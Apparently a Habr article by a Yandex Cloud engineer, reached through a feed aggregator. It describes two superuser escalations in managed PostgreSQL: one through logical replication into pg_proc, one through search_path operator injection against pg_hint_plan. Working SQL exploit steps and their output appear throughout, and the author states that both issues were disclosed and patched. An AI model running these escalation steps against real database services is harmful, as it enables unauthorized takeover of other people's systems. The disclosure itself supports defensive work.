惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Apple Machine Learning Research
Apple Machine Learning Research
C
Cisco Blogs
P
Privacy & Cybersecurity Law Blog
T
Tor Project blog
Google Online Security Blog
Google Online Security Blog
Scott Helme
Scott Helme
C
Cyber Attacks, Cyber Crime and Cyber Security
Recent Commits to openclaw:main
Recent Commits to openclaw:main
Hacker News - Newest:
Hacker News - Newest: "LLM"
N
News and Events Feed by Topic
The Register - Security
The Register - Security
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
SecWiki News
SecWiki News
T
True Tiger Recordings
T
The Exploit Database - CXSecurity.com
L
LINUX DO - 最新话题
Attack and Defense Labs
Attack and Defense Labs
S
Security @ Cisco Blogs
T
Troy Hunt's Blog
P
Palo Alto Networks Blog
T
Threat Research - Cisco Blogs
Simon Willison's Weblog
Simon Willison's Weblog
L
Lohrmann on Cybersecurity
T
Tailwind CSS Blog
有赞技术团队
有赞技术团队
阮一峰的网络日志
阮一峰的网络日志
IT之家
IT之家
J
Java Code Geeks
Hugging Face - Blog
Hugging Face - Blog
The Hacker News
The Hacker News
Jina AI
Jina AI
S
Secure Thoughts
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
爱范儿
爱范儿
月光博客
月光博客
S
Schneier on Security
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
博客园 - 【当耐特】
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
H
Hacker News: Front Page
Know Your Adversary
Know Your Adversary
PCI Perspectives
PCI Perspectives
罗磊的独立博客
A
Arctic Wolf
雷峰网
雷峰网
Hacker News: Ask HN
Hacker News: Ask HN
Google DeepMind News
Google DeepMind News
V
Visual Studio Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Latest news
Latest news

Все публикации подряд на Хабре

Динозавры в проде: сколько лет языкам программирования и кто до сих пор зарабатывает на «мёртвых» Погружение в новый проект: как не потерять месяц жизни Простой гайд по Kling Motion Control от А до Я Семантический слой: архитектура, подходы и роль в эпоху AI-аналитики Гоняться за оптовиками и чуть не закрыться, придумать «стартовый набор новичка» и удвоить выручку НЕкурс про разработку безопасного программного обеспечения (РБПО) Теология возможных миров. Есть ли боги в мультивселенной, или мультивселенная и есть Бог? Что делать, если не прошли переаккредитацию ИТ-компании в 2026 году: пошаговый план действий Нейросеть для работы с текстом — как генерировать чистый и уникальный текст для студентов Прокачать SQLite и сократить векторы в видеоформате — открытые инструменты для работы с эмбеддингами Киберзадачи в сеттинге Minecraft. Школьники в финале ВсоШ по инфобезу Windows 11 будет работать быстрее на всех компьютерах. Теперь официально Кэширование в Symfony: как мы сломали авторизацию и починили ее через Lock Стажеры uAcademy*. Опыт кураторства дипломов: почему стажировок недостаточно Команда выросла, методы — остались «Ошибка выжившего» на примере спортсменов Испытание временем — как тестировать цифровой двойник, если физического объекта ещё не существует Как обычный кухонный таймер на ESP32 превратился в домашний центр уведомлений Как мы научили СХД TATLIN.OBJECT мигрировать данные из S3-хранилища MinIO Онлайн-приключение для IT-команд, как альтернатива корпоративу в Zoom Экскурсия по «зоопарку» сетевого трафика: топ-10 аномалий внутри вашего периметра Книга: «System Design. Проектирование мобильных систем. Подготовка к сложному интервью» Критическое мышление руководителя: как один красивый слайд может привести к дорогой ошибке Ecommerce на Laravel, или как мы собрали headless-слой для фронтов (6 часть) Обновление macOS для инженеров поддержки Делаем ностальгический фильмоскоп на Raspberry Pi Zero 2 W От баз данных до инструментов для ИИ-экосистем: проекты, которые получили гранты Yandex Open Source Больше, чем просто безопасность, или Зачем контролировать зависимости Тот неловкий момент, когда письмо от Джованни из Швейцарии не оказалось обманом Почему AAA-игры проваливаются? Разбираем примеры Как запустить 3D-приложение на сервере без GPU: от SwiftShader до WARP Благоустраиваем Firefox: встроенный VPN Современный Angular: Заменяем жизненные циклы на сигналы HR-бот на базе RAG: архитектура корпоративной базы знаний для ресторанного холдинга Почему ИИ не заменит аналитика при подготовке технического задания InSales без пушей: как бесплатно перенести уведомления о заказах в Telegram на Yandex Cloud Serverless Александрийская библиотека: краткая история античной системы хранения Почему японские компании занимаются всем подряд Откуда берутся молнии? Ответ на этот вопрос становится всё интереснее 1C Code Bench — бенчмарк для оценки способности LLM писать код на 1С ЭЛТ-монитор разгонял электроны до 30% скорости света. Это был ускоритель частиц на 25 кВ Как мы укротили сложный процесс с помощью CQRS и стейт-машин Сокращение ручной работы на примере Spring Boot-проекта: OpenAPI generator, QueryDsl, OpenAI Ubuntu Core 26: snap-компоненты, Livepatch на ARM и новый подход к сборке Нагрузочное тестирование без нагрузки и тестов: используем k6 для мониторинга API ПМК и Кастанеда. Часть 3.4 Бросивший вызов смерти Через тернии к солнцу: запускаем 30-летний Sun SPARCstation 5 в 2026 году Мобильный Vivaldi 8.0 — Лучший браузер для лета Онлайн-переезд EVPN-VXLAN-фабрики между дата-центрами: euNetworks → QupraDC без остановки сервиса Закрытый контур + локальная LLM: как мы запустили AI-агента без интернета Про обучение роботов Как я спас продакшен (n8n 1.41+ и Python-парсеры) от сетевых аномалий в мае 2026 года Азиатский финансовый кризис в 90-е: как это было и как повлияло на IT AI API ключ нейросетей: +300 нейросетей по одному ключу и оплата рублями Архитектура автоматизации частного дома: KNX, Modbus, Node-RED и Sprut.Hub Разработка на Python: когда много думать = вредить проекту Пишем Java-скрипт, который собирает проект в один файл для контекста в чат DeepSeek или другие LLM Самодельный elgato-like макропад. Часть 2, софтовая Гайд: как системному аналитику построить доменную модель для Java-микросервисов Балансировка входящего трафика на железе: как надёжно вывести K8s наружу с MetalLB, BGP и L2 (подход от Deckhouse) «Мементо»: как фильм Нолана 2000 года удивительно точно иллюстрирует работу ИИ- агентов ИИ в работе с данными: как аналитики используют нейросети и почему без человека пока никак ИИ в работе с данными: как аналитики используют нейросети и почему без человека пока никак Шахматные программы VI. Структура поиска Stockfish Blockstor: Kubernetes-native альтернатива LINSTOR, которую мы готовим как отдельный CNCF-проект Эксперименты с WAP в 2026 году Мышление техно-бро: почему умные технари ведут себя глупо, а общество это НЕ кусок кода Шестнадцатеричная запись чисел с плавающей точкой в C++, Java, Go Архитекторы в ИТ — кто все эти люди на созвонах и почему без них современный бизнес начинает страдать Пишем Third Person Controller на MonoGame. Часть I Загрузка PocketHandyBox Linux с помощью TinyPXE Server, iPXE и WinNFSd Гараж стоит десятилетиями, а твой софт всего несколько лет. Стоит ли он твоих усилий? Как я 8 дней ловил утечку памяти в Nuxt 3 SSR, и несколько раз думал, что починил Почему советские программисты не сделали GTA Последовательное иерархическое распределение сумм. Создание БД. Распределение сумм по правилам средствами PostgreSQL Язык программирования T Может ли большая языковая модель обладать сознанием? Ключ к вычислимости ℵ₋₁ Как подсадить разработку на ИИ Кодировка: почему « ё » оказалось не моё? Использование SNMP Trap/Inform сообщений в мониторинге сети Как я не нашёл нормальную альтернативу WinSSHTerm на macOS, психанул и написал свою UUID мертв? Да здравствует Smart ID! Почему ваш проект заслуживает лучшего «Слепой прогон»: почему ваш IPS начинает стрелять по своим в первый же день Из жизни провайдеров: история одного факапа Линии влияния в многопролётных шарнирных балках: бесплатный веб-инструмент для проверки расчётов Я перевёл 200K строк JS на TS с Claude Code. Что прошло, что сломалось Telegram-бот, который молча скачивает видео по ссылкам в групповых чатах: как это сделать, не ломая приватность Три попытки обогнать в бенче базовую Gemma 4 дообучением — и все три мимо Создал свой генератор случайных чисел на потоках Как уйти в тень: Полный гайд по анонимным платежам от рублей до виртуальной карты в 2026 Реверс-инжиниринг, цифровой двойник и ESP32 — что эти трое забыли на производстве? Задачка со звездочкой Как я создал систему, которая знает меня лучше чем я сам Root в контейнере — это root на хосте? Разбираю особенности прав доступов в контейнерах Docker/Podman Ультимативный гид по Codex CLI: от первой установки до воркфлоу io_uring без розовых очков: 5 граблей, которые сожгли мне неделю, и где он реально быстрее epoll Я протестировал 8 VPN-сервисов в России в 2026 году. Вот честный результат Улучшаем поисковые подсказки — от retrieval к генерации Налоговая отказала в вычете НДС на 48 млн руб. по IT-услугам и аэросъёмке БПЛА. При чём тут майнинг-оператор BitRiver Сложный проект как трамплин: как остановка на полгода, новые роли и поддержка команды помогли разработчику вырасти
Как стать postgres в чужом облаке: краш-тест безопасности управляемых БД
efjen (Yande · 2026-05-28 · via Все публикации подряд на Хабре

Время на прочтение6 мин

Охват и читатели222

Ретроспектива

Меня зовут Евгений Ефимкин, я руковожу группой Platform Reliability в Yandex Cloud. В числе прочего мы занимаемся безопасностью наших managed‑сервисов.

В managed PostgreSQL мы не выдаём клиенту привилегии superuser — иначе он сможет выйти за пределы своей базы прямо в операционную систему. Чтобы клиент при этом мог выполнять привилегированные операции: создавать базы, заводить роли, менять настройки кластера, — мы пишем сервисы Control Plane и выдаём специальные ограниченные роли (без выхода в ОС и без обхода проверок прав).

Несколько лет назад, занимаясь поддержкой логической репликации, я понял, что и этого мало: у PostgreSQL остаются места, где он сам, изнутри, выполняет код от superuser в обход всей конструкции. Дальше — два случая повышения привилегий у двух разных публичных облачных провайдеров. Оба вектора к моменту публикации закрыты — и в апстриме PostgreSQL, и у самих сервисов; оба провайдера своевременно проинформированы.

Как получить superuser через логическую репликацию

История относится ко временам PostgreSQL 10. Для поддержки логической репликации нам нужно было позволить непривилегированному пользователю создавать SUBSCRIPTION. Задача решилась небольшим патчем для нашей встроенной роли mdb_admin (той самой, которую мы выдаём клиенту вместо superuser).

Пока я писал этот патч, мне пришлось разобраться, как логическая репликация работает изнутри. И там обнаружилась ключевая деталь: фоновый процесс, применяющий строки из WAL, работает с правами superuser — то есть в обход проверок прав доступа в принципе.

Теория: как устроена логическая репликация

Логическая репликация в PostgreSQL построена на модели publisher‑subscriber:

  • Publication на стороне источника определяет набор таблиц, изменения которых публикуются в WAL в логическом формате.

  • Subscription на стороне получателя подключается к publication и применяет полученные изменения. Применение происходит в фоновом процессе logical replication worker, который работает от имени суперпользователя.

Создатель подписки — обычный пользователь. Изменения за него применяет процесс с правами superuser. Именно в этом разрыве и кроется возможность для эскалации.

Эксплуатация

Идея проста: если можно заставить subscription применить изменения к системным таблицам, мы получим superuser.

В качестве источника я поднял PostgreSQL на своей виртуалке и попробовал добавить в publication таблицу из системного каталога. PostgreSQL этого не позволяет, но ограничение обходится параметром allow_system_table_mods = true — после чего можно вручную вставить любую таблицу в pg_publication_rel. Я решил использовать pg_proc (каталог функций).

Дальше — проверка на чужом облаке. Без superuser обычный клиент SUBSCRIPTION создать не может, но это и не нужно: большинство managed-провайдеров поддерживают логическую репликацию тем же способом, что и мы, — через свою привилегированную роль, аналог mdb_admin. У Провайдера А такая роль была. Создаю подписку:

CREATE SUBSCRIPTION mysub_super
CONNECTION 'host=myhost port=5432 dbname=postgres user=postgres'
PUBLICATION pub
WITH (copy_data = false); 

Параметр copy_data = false нужен, чтобы избежать конфликтов строк между двумя кластерами — мы хотим реплицировать только новые изменения.

После этого на стороне нашего кластера (publisher) создаём функцию:

CREATE OR REPLACE FUNCTION update_pass()
RETURNS text AS $$
UPDATE pg_catalog.pg_authid SET rolsuper = true;
SELECT 'hacked';
$$ LANGUAGE SQL SECURITY DEFINER; 

Эта функция реплицируется в pg_proc на стороне облачного сервиса. Проверяем:

postgres=# SELECT update_pass();
 update_pass
-------------
 hacked
(1 row)

postgres=# SELECT usename, usesuper FROM pg_user WHERE usename = 'user1';
 usename | usesuper
---------+----------
 user1   | t
(1 row) 

superuser получен.

Что закрыло этот вектор

В PostgreSQL 16 модель работы логической репликации переписали: logical replication worker теперь применяет изменения от имени owner подписки, а не от superuser.

Как получить superuser через search_path и operator injection

Первый кейс — про системный компонент, logical replication worker. Но тот же шаблон встречается и в куда менее ожидаемых местах. Через несколько лет я зашёл к свежезапущенному провайдеру.

Из доступных операций — создание пользователей, баз и установка расширений. Глобальные настройки кластера менять нельзя. Я пополнил счёт, создал кластер — внутри ванильный PostgreSQL 17 без встроенных ролей. Но я как owner базы имею право менять её параметры — и это уже зацепка.

Теория: что такое search_path и почему это опасно

search_path — это параметр PostgreSQL, определяющий порядок поиска схем при обращении к объектам без явного указания схемы. По умолчанию он равен "$user", public. Когда вы пишете SELECT * FROM my_table, PostgreSQL ищет таблицу сначала в схеме с именем текущего пользователя, затем в public.

Это создаёт классический вектор атаки: если злоумышленник может поместить свои объекты (таблицы, функции, операторы) в схему, которая стоит в search_path раньше pg_catalog, то при неквалифицированных вызовах PostgreSQL найдёт подменённый объект вместо настоящего.

Разведка

Самый интересный параметр базы — как раз search_path. Я переопределил его и попробовал создать расширение через API провайдера. Расширение спокойно создалось — внутри моей схемы. Это серьёзная проблема: API ставит расширение от имени привилегированного пользователя, но с тем search_path, который выставил клиент. Поэтому оно и оказалось в моей схеме.

Оставалось понять, как это эксплуатировать. Каких‑либо логов на тот момент не было, а pg_stat_activity и pg_stat_statements без специальной роли скрывают активность других пользователей. То есть напрямую увидеть, какие именно запросы выполняет Control Plane от своего имени, было нельзя. Единственная зацепка — расширения, которые он для меня устанавливает.

В списке расширений были pg_partman и pg_hint_plan. pg_partman за последние годы вычистили от SECURITY DEFINER и других опасных мест — отпал. Остался pg_hint_plan.

Теория: operator injection

В PostgreSQL операторы (=, <, > и так далее) — это обычные объекты базы, принадлежащие схеме. Когда вы пишете a = b, PostgreSQL ищет подходящий = для типов аргументов через search_path — ровно так же, как ищет функции и таблицы. Если мы можем поместить свой = в схему, стоящую в search_path раньше pg_catalog, PostgreSQL вызовет нашу функцию вместо встроенного сравнения.

pg_hint_plan и operator injection

Я перешёл к анализу pg_hint_plan — расширения, которое позволяет использовать хинты в запросах для переопределения методов доступа (аналогично Oracle hints). После включения расширения в pg_stat_statements я увидел, что от моего пользователя неявно выполнился запрос:

SELECT hints
FROM hint_plan.hints
WHERE query_id = $1
  AND (application_name = $2 OR application_name = $3)
ORDER BY application_name DESC 

Я предположил, что этот же запрос может выполниться и от суперпользователя, когда тот делает запросы к базе с активным pg_hint_plan. Обратите внимание: в запросе query_id = $1 используется оператор = без указания схемы. Это ключевой момент.

Эксплуатация

Чтобы проверить гипотезу, я создал новую пустую базу данных, а в ней — схему:

CREATE SCHEMA hint_plan;  

Функцию, повышающую привилегии:

CREATE OR REPLACE FUNCTION hint_plan.evil_eq(bigint, bigint)
RETURNS boolean AS $$
BEGIN
  ALTER USER test WITH SUPERUSER;
  return true;
END;
$$ LANGUAGE plpgsql; 

Переопределяем оператор сравнения для bigint:

CREATE OPERATOR hint_plan.= (
  LEFTARG = bigint,
  RIGHTARG = bigint,
  FUNCTION = hint_plan.evil_eq
); 

Переопределяем нужный search_path на уровне своей базы:

ALTER DATABASE test SET search_path = hint_plan, pg_catalog; 

Создаём через API ещё одно произвольное расширение — это заставит привилегированного пользователя выполнить запрос к hint_plan.hints, при котором сработает наш =. Результат:

SELECT rolname, rolsuper FROM pg_roles WHERE rolname = 'test';
 rolname | rolsuper
---------+----------
 test    | t
(1 row) 

superuser получен через operator injection.

Что закрыло этот вектор

По следам этих экспериментов мой коллега сделал патч в pg_hint_plan — внутренние запросы расширения теперь явно квалифицируют операторы и функции через pg_catalog. Патч принят в апстрим. Самому провайдеру мы тоже сообщили о проблеме.

Что важно держать в голове, проектируя managed-БД

Оба кейса выше — это один и тот же баг с разных сторон. Superuser в managed PostgreSQL не принадлежит пользователю и не должен. Но он принадлежит компонентам системы, которые что‑то делают за пользователя: logical replication worker применяет от привилегированной роли строки, которые пользователь добавил в публикацию; Control Plane от привилегированной роли создаёт расширение в схеме, которую пользователь подсунул через search_path. Безопасность managed‑сервиса — это, по сути, дисциплина: перечислить такие компоненты и убедиться, что пользователь не может подать им на вход что‑то, ломающее их инварианты

Конкретные дыры из обоих кейсов закрыты — и в апстриме PostgreSQL, и у провайдеров. Шаблон не закрывается ничем: правильный вопрос при ревью архитектуры managed‑сервиса — не «может ли клиент сделать X», а «кто делает X за клиента, и что клиент может ему подсунуть на вход».


Буду рад ответить на вопросы, а также обсудить ваши эксперименты с PostgreSQL. Делитесь в комментариях, а также вступайте в сообщество платформы данных Yandex Cloud, где мы делимся новостями и обсуждаем технические вопросы.